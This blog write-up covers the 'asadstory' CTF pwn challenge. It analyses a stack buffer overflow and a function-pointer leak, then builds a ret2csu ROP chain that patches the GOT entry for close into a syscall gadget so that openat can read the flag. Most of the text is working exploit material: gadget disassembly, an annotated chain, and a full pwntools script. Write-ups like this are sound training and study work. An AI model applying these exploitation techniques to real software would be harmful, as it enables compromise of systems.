REinject's Blog

No matter how good our kung fu is, it can't beat guns


asadstory

/* Table of Contents */

Challenge files

A simple stack overflow. As the Chinese saying goes: “Fortune is fickle — don’t look down on the young single dog!!!”

Challenge Analysis

checksec:

checksec

Sandbox:

seccomp

The first input only accepts 1; any other number exits the program.

After entering 1, the program enters sub_1492:

sub_1492

It loops for user input, selecting a function based on the number: 1 calls sub_1420, 2 calls sub_1468.

sub_1420 prints the sub_1249 function pointer and closes stdout:

sub_1420

sub_1468 reads user input onto the stack. The pre-allocated size is 0x30 — a stack buffer overflow exists:

sub_1468

Solution Strategy

sub_1420 provides the base address, then exploit sub_1468’s stack overflow for a ret2csu ROP chain.

The ret2csu approach uses read to modify the last byte of got[close] to point to syscall, then controls rax through read’s return value to invoke openat and read the flag.

PoC

ROP chain:

csu1
.text:0000000000001620 4C 89 F2                      mov     rdx, r14
.text:0000000000001623 4C 89 EE                      mov     rsi, r13
.text:0000000000001626 44 89 E7                      mov     edi, r12d
.text:0000000000001629 41 FF 14 DF                   call    qword ptr [r15+rbx*8]

csu2
.text:000000000000163A 5B                            pop     rbx     
.text:000000000000163B 5D                            pop     rbp
.text:000000000000163C 41 5C                         pop     r12
.text:000000000000163E 41 5D                         pop     r13
.text:0000000000001640 41 5E                         pop     r14
.text:0000000000001642 41 5F                         pop     r15
.text:0000000000001644 C3                            retn

rop_chain = [
    csu2, 0, 1, 0, elf.got['close'], 1, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 0, elf.address + 0x4280, 257, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 0, elf.address + 0x4280, 0, elf.got['close'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 1, elf.address + 0x4280, 0x30, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 0, elf.address + 0x4280 + 0x30, 1, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 2, elf.address + 0x4280, 0x30, elf.got['close'],
    csu1
]

Argument 1: RDI
Argument 2: RSI
Argument 3: RDX
Argument 4: RCX
Argument 5: R8
Argument 6: R9

mov rbx, 0
mov rbp, 1
mov r12, 0
mov r13, got[close]
mov r14, 1
mov r15, got[read]

// Write one byte, changing the last byte of got[close] to 0x15 (syscall offset)
mov rdx, r14                    ; mov rdx, 1            ; count
mov rsi, r13                    ; mov rsi, got[close]   ; buf
mov edi, r12d                   ; mov edi, 0            ; fd
call [r15+rbx*8]                ; call read         ssize_t read(int fd, void buf[.count], size_t count);


mov rbx, 0
mov rbp, 1
mov r12, 0
mov r13, elf.address + 0x4280
mov r14, 257
mov r15, got[read]

mov rdx, r14                    ; mov rdx, 257                      ; count
mov rsi, r13                    ; mov rsi, elf.address + 0x4280     ; buf
mov edi, r12d                   ; mov edi, 0                        ; fd
call [r15+rbx*8]                ; call read         ssize_t read(int fd, void buf[.count], size_t count);


mov rbx, 0
mov rbp, 1
mov r12, 0
mov r13, elf.address + 0x4280
mov r14, 0
mov r15, got[close]

mov rdx, r14                    ; mov rdx, 0                        ; flag = O_RDONLY
mov rsi, r13                    ; mov rsi, elf.address + 0x4280     ; path
mov edi, r12d                   ; mov edi, 0                        ; fd
call [r15+rbx*8]                ; call close         int openat(int fd, const char *path, int oflag, ...);


mov rbx, 0
mov rbp, 1
mov r12, 1
mov r13, elf.address + 0x4280
mov r14, 0x30
mov r15, got[read]

mov rdx, r14                    ; mov rdx, 0x30                     ; count
mov rsi, r13                    ; mov rsi, elf.address + 0x4280     ; buf
mov edi, r12d                   ; mov edi, 1                        ; fd
call [r15+rbx*8]                ; call read         ssize_t read(int fd, void buf[.count], size_t count);



mov rbx, 0
mov rbp, 1
mov r12, 0
mov r13, elf.address + 0x4280 + 0x30
mov r14, 1
mov r15, got[read]

mov rdx, r14                    ; mov rdx, 1                                ; count
mov rsi, r13                    ; mov rsi, elf.address + 0x4280 + 0x30      ; buf
mov edi, r12d                   ; mov edi, 0                                ; fd
call [r15+rbx*8]                ; call read         ssize_t read(int fd, void buf[.count], size_t count);


mov rbx, 0
mov rbp, 1
mov r12, 2
mov r13, elf.address + 0x4280
mov r14, 0x30
mov r15, got[close]

mov rdx, r14                    ; mov rdx, 0x30                     ; flag = O_RDONLY
mov rsi, r13                    ; mov rsi, elf.address + 0x4280     ; path
mov edi, r12d                   ; mov edi, 2                        ; fd
call [r15+rbx*8]                ; call close         write

Cited from https://g1at.github.io/2023/11/25/DASCTF%E5%8D%81%E4%B8%80%E6%9C%88%E6%8C%91%E6%88%98%E8%B5%9B/#asadstory.

from pwn import *

context.arch = 'amd64'
libc = ELF('./libc-2.31.so')  
elf = ELF('./challenge')      

p = gdb.debug('./challenge', 'brva 0x1480')

# p = process("./challenge")
# p = remote("node4.buuoj.cn", 28133)

def elf_base():
    p.sendlineafter(b': ', b'1')
    p.sendlineafter(b': ', b'1')
    p.recvuntil(b'0x')
    value = int(p.recv(12), 16) - 0x1249
    return value

elf.address = elf_base()
print("elf-->" + hex(elf.address))

csu1 = elf.address + 0x1620
csu2 = elf.address + 0x163a

offset = b'a' * 0x38

# Craft the ROP chain
rop_chain = [
    csu2, 0, 1, 0, elf.got['close'], 1, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 0, elf.address + 0x4280, 257, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 0, elf.address + 0x4280, 0, elf.got['close'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 1, elf.address + 0x4280, 0x30, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 0, elf.address + 0x4280 + 0x30, 1, elf.got['read'],
    csu1, 0, 0, 0, 0, 0, 0, 0,
    csu2, 0, 1, 2, elf.address + 0x4280, 0x30, elf.got['close'],
    csu1
]


payload = b''.join([p64(addr) for addr in rop_chain])


p.sendline(b'2')
p.sendline(offset + payload)
p.send(b'\x15')
p.send(b'/flag' + b'\x00' * (257 - 5))
p.send(b'\x00' * 1)
p.interactive()